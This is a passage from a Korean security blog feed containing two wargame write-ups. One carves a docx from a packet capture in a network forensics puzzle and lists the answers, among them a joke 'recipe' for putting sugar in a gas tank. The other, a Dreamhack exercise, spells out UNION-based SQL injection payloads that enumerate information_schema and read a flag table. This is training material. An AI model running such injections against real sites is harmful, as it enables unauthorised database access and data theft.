&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처58.JPG&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKL8QS/dJMcafkWxPO/6sAiCNdHRfyk7H3eyd0ma0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKL8QS/dJMcafkWxPO/6sAiCNdHRfyk7H3eyd0ma0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKL8QS/dJMcafkWxPO/6sAiCNdHRfyk7H3eyd0ma0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKL8QS%2FdJMcafkWxPO%2F6sAiCNdHRfyk7H3eyd0ma0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;1152&quot; data-filename=&quot;캡처58.JPG&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TCP Stream을 하나씩 넘기다보면 위와 같이 docx 파일이 전송된 패킷을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docx 파일이라 헤더 시그니처(처음 4바이트)가 50 4b 03 04인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 4번에 해당하는 답도 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처59.JPG&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;1156&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p0aKR/dJMcaiPsyqo/gcdBIGAjvpUslH1DK8xp6K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p0aKR/dJMcaiPsyqo/gcdBIGAjvpUslH1DK8xp6K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p0aKR/dJMcaiPsyqo/gcdBIGAjvpUslH1DK8xp6K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp0aKR%2FdJMcaiPsyqo%2FgcdBIGAjvpUslH1DK8xp6K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1258&quot; height=&quot;1156&quot; data-filename=&quot;캡처59.JPG&quot; data-origin-width=&quot;1258&quot; data-origin-height=&quot;1156&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쭉 내려서 푸터 시그니처도 보면 50 4b 05 06인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 16진수 덤프 형식으로 보게 되어있는데 이걸 raw로 바꾸고, 앞서 확인한 헤더 시그니처부터 위 이미지의 빨간색 부분이 나오기 전까지를 모두 드래그해 복사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처60.JPG&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;774&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nCVOe/dJMb9956eou/ZzijnxksFYokBA7v3W1H30/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nCVOe/dJMb9956eou/ZzijnxksFYokBA7v3W1H30/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nCVOe/dJMb9956eou/ZzijnxksFYokBA7v3W1H30/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnCVOe%2FdJMb9956eou%2FZzijnxksFYokBA7v3W1H30%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1021&quot; height=&quot;774&quot; data-filename=&quot;캡처60.JPG&quot; data-origin-width=&quot;1021&quot; data-origin-height=&quot;774&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HxD에 이걸 붙여넣고 .docx 확장자로 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처61.JPG&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;732&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yM6Qk/dJMcaiPsyqU/OxRHC5k6zRTJVRSbaoOp40/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yM6Qk/dJMcaiPsyqU/OxRHC5k6zRTJVRSbaoOp40/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yM6Qk/dJMcaiPsyqU/OxRHC5k6zRTJVRSbaoOp40/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyM6Qk%2FdJMcaiPsyqU%2FOxRHC5k6zRTJVRSbaoOp40%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1027&quot; height=&quot;732&quot; data-filename=&quot;캡처61.JPG&quot; data-origin-width=&quot;1027&quot; data-origin-height=&quot;732&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장한 docx 파일을 열어보면 위와 같이 레시피가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 6번에 대한 답도 해결한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로 5번에 해당하는 답을 구하기 위해, cmd에서 아래와 같은 명령어로 MD5 해시값을 구한다.&lt;/p&gt;
&lt;pre id=&quot;code_1767284372749&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;certutil -hashfile [파일경로] [해시알고리즘]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최종적으로 문제에서 요구한 6가지의 답은 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. What is the name of Ann&amp;rsquo;s IM buddy?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Sec558user1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;2.&amp;nbsp;What&amp;nbsp;was&amp;nbsp;the&amp;nbsp;first&amp;nbsp;comment&amp;nbsp;in&amp;nbsp;the&amp;nbsp;captured&amp;nbsp;IM&amp;nbsp;conversation?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Here's the secret recipe (이후 생략)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.&amp;nbsp;What&amp;nbsp;is&amp;nbsp;the&amp;nbsp;name&amp;nbsp;of&amp;nbsp;the&amp;nbsp;file&amp;nbsp;Ann&amp;nbsp;transferred?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;recipe.docx&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.&amp;nbsp;What&amp;nbsp;is&amp;nbsp;the&amp;nbsp;magic&amp;nbsp;number&amp;nbsp;of&amp;nbsp;the&amp;nbsp;file&amp;nbsp;you&amp;nbsp;want&amp;nbsp;to&amp;nbsp;extract&amp;nbsp;(first&amp;nbsp;four&amp;nbsp;bytes)?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;50&amp;nbsp;4B&amp;nbsp;03&amp;nbsp;04&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&amp;nbsp;What&amp;nbsp;was&amp;nbsp;the&amp;nbsp;MD5sum&amp;nbsp;of&amp;nbsp;the&amp;nbsp;file?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8350582774e1d4dbe1d61d64c89e0ea1&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6.&amp;nbsp;What&amp;nbsp;is&amp;nbsp;the&amp;nbsp;secret&amp;nbsp;recipe?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Recipe&amp;nbsp;for&amp;nbsp;Disaster:&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1&amp;nbsp;serving &lt;br /&gt;Ingredients: &lt;br /&gt;4&amp;nbsp;cups&amp;nbsp;sugar &lt;br /&gt;2&amp;nbsp;cups&amp;nbsp;water &lt;br /&gt;In&amp;nbsp;a&amp;nbsp;medium&amp;nbsp;saucepan,&amp;nbsp;bring&amp;nbsp;the&amp;nbsp;water&amp;nbsp;to&amp;nbsp;a&amp;nbsp;boil.&amp;nbsp;Add&amp;nbsp;sugar.&amp;nbsp;Stir&amp;nbsp;gently&amp;nbsp;over&amp;nbsp;low&amp;nbsp;heat&amp;nbsp;until&amp;nbsp;sugar&amp;nbsp;is&amp;nbsp;fully&amp;nbsp;dissolved.&amp;nbsp;Remove&amp;nbsp;&amp;nbsp;the&amp;nbsp;&amp;nbsp;saucepan&amp;nbsp;from&amp;nbsp;heat.&amp;nbsp;&amp;nbsp;Allow&amp;nbsp;to&amp;nbsp;cool&amp;nbsp;completely.&amp;nbsp;Pour&amp;nbsp;into&amp;nbsp;gas&amp;nbsp;tank.&amp;nbsp;Repeat&amp;nbsp;as&amp;nbsp;necessary.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풀이 완료!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>wargame/Network Forensics Puzzle contest</category>
      <category>HxD</category>
      <category>wireshark</category>
      <category>네트워크패킷분석</category>
      <category>네트워크포렌식</category>
      <category>디지털포렌식</category>
      <category>디지털포렌식워게임</category>
      <category>워게임</category>
      <category>패킷분석</category>
      <category>포렌식</category>
      <category>포렌식워게임</category>
      <author>보안공부</author>
      <guid isPermaLink="true">https://s-security.tistory.com/120</guid>
      <comments>https://s-security.tistory.com/120#entry120comment</comments>
      <pubDate>Wed, 31 Dec 2025 15:21:44 +0900</pubDate>
    </item>
    <item>
      <title>Dreamhack - baby-union</title>
      <link>https://s-security.tistory.com/119</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[LEVEL 1 - baby-union - web]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 union을 사용한 SQL Injection 문제이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 설명에 로그인 시 계정의 정보가 출력되는 웹 서비스라고 나와있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처48.JPG&quot; data-origin-width=&quot;1496&quot; data-origin-height=&quot;691&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UcAy2/btsOAFAK81G/5fgh63UoZT8FeWfmFjsbZ0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UcAy2/btsOAFAK81G/5fgh63UoZT8FeWfmFjsbZ0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UcAy2/btsOAFAK81G/5fgh63UoZT8FeWfmFjsbZ0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUcAy2%2FbtsOAFAK81G%2F5fgh63UoZT8FeWfmFjsbZ0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1496&quot; height=&quot;691&quot; data-filename=&quot;캡처48.JPG&quot; data-origin-width=&quot;1496&quot; data-origin-height=&quot;691&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 환경에 접속하면 위와 같이 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처49.JPG&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;915&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvJt1h/btsOBSFNM4v/S7KHc6LSLP9r5Q27laklV1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvJt1h/btsOBSFNM4v/S7KHc6LSLP9r5Q27laklV1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvJt1h/btsOBSFNM4v/S7KHc6LSLP9r5Q27laklV1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvJt1h%2FbtsOBSFNM4v%2FS7KHc6LSLP9r5Q27laklV1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1094&quot; height=&quot;915&quot; data-filename=&quot;캡처49.JPG&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;915&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;app.py 코드를 보면 입력을 받은 후 계정의 정보를 조회하는 쿼리문을 만들어 DB에 전송하고 응답값을 출력하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특히 20번째 줄을 보면 입력값을 바로 쿼리문에 넣고 있기 때문에 SQL Injection 공격이 가능하다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처50.JPG&quot; data-origin-width=&quot;1511&quot; data-origin-height=&quot;754&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsj3CS/btsOA1jbEqa/H7xvSm0dDE3GgRss8EcrM0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsj3CS/btsOA1jbEqa/H7xvSm0dDE3GgRss8EcrM0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsj3CS/btsOA1jbEqa/H7xvSm0dDE3GgRss8EcrM0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdsj3CS%2FbtsOA1jbEqa%2FH7xvSm0dDE3GgRss8EcrM0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1511&quot; height=&quot;754&quot; data-filename=&quot;캡처50.JPG&quot; data-origin-width=&quot;1511&quot; data-origin-height=&quot;754&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;init.sql 코드는 위와 같은데, 해당 테이블명과 컬럼명은 실제 이름과 다르다고 문제 설명에 나와있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4개의 컬럼인 것을 알 수 있어 union을 이용해 쿼리문을 작성하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처51.JPG&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;646&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cV4QXf/btsOCx8JCqx/gweKt1jpmAQQTj8ZyrlsUK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cV4QXf/btsOCx8JCqx/gweKt1jpmAQQTj8ZyrlsUK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cV4QXf/btsOCx8JCqx/gweKt1jpmAQQTj8ZyrlsUK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcV4QXf%2FbtsOCx8JCqx%2FgweKt1jpmAQQTj8ZyrlsUK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1506&quot; height=&quot;646&quot; data-filename=&quot;캡처51.JPG&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;646&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag가 있을만한 테이블을 찾아내기 위해 DB 구조와 속성에 대해 알 수 있는 information_schema를 사용해 아래와 같이 쿼리문을 작성할 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;apple'union select table_name,2,3,4 from information_schema.tables #&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처52.JPG&quot; data-origin-width=&quot;1535&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R59yw/btsOBhFPZl6/nIgO6Hywkld2EbnCG9dhN0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R59yw/btsOBhFPZl6/nIgO6Hywkld2EbnCG9dhN0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R59yw/btsOBhFPZl6/nIgO6Hywkld2EbnCG9dhN0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR59yw%2FbtsOBhFPZl6%2FnIgO6Hywkld2EbnCG9dhN0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1535&quot; height=&quot;764&quot; data-filename=&quot;캡처52.JPG&quot; data-origin-width=&quot;1535&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처53.JPG&quot; data-origin-width=&quot;1597&quot; data-origin-height=&quot;1006&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwifmO/btsOBg73MOD/rkhhMqYIUIsS5UQ6KxUhL1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwifmO/btsOBg73MOD/rkhhMqYIUIsS5UQ6KxUhL1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwifmO/btsOBg73MOD/rkhhMqYIUIsS5UQ6KxUhL1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwifmO%2FbtsOBg73MOD%2FrkhhMqYIUIsS5UQ6KxUhL1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1597&quot; height=&quot;1006&quot; data-filename=&quot;캡처53.JPG&quot; data-origin-width=&quot;1597&quot; data-origin-height=&quot;1006&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 이렇게 해당 DB의 테이블을 확인할 수 있는데, 맨 아래에 있는 onlyflag 테이블에 플래그가 있을 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 앞서 사용한 쿼리문에서 아래와 같이 일부 수정해 onlyflag 테이블의 컬럼 정보를 확인할 수 있다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;apple'union select column_name,2,3,4 from information_schema.columns where table_name='onlyflag'#&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;캡처54.JPG&quot; data-origin-width=&quot;1565&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTi7WY/btsOCw9POIc/InlKnzFJ4tmkAomR1zaDCK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTi7WY/btsOCw9POIc/InlKnzFJ4tmkAomR1zaDCK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTi7WY/btsOCw9POIc/InlKnzFJ4tmkAomR1zaDCK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTi7WY%2FbtsOCw9POIc%2FInlKnzFJ4tmkAomR1zaDCK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1565&quot; height=&quot;796&quot; data-filename=&quot;캡처54.JPG&quot; data-origin-width=&quot;1565&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 onlyflag 테이블의 컬럼 정보가 나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx와 sname은 id와 name을 나타내는 것 같아 일단 svalue, sflag, sclose를 확인해 본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 3번 자리는 확인이 불가하니, 아래와 같이 1, 2, 4번에 위치시킨 후 확인한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;apple'union select svalue,sflag,3,sclose from onlyflag#&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
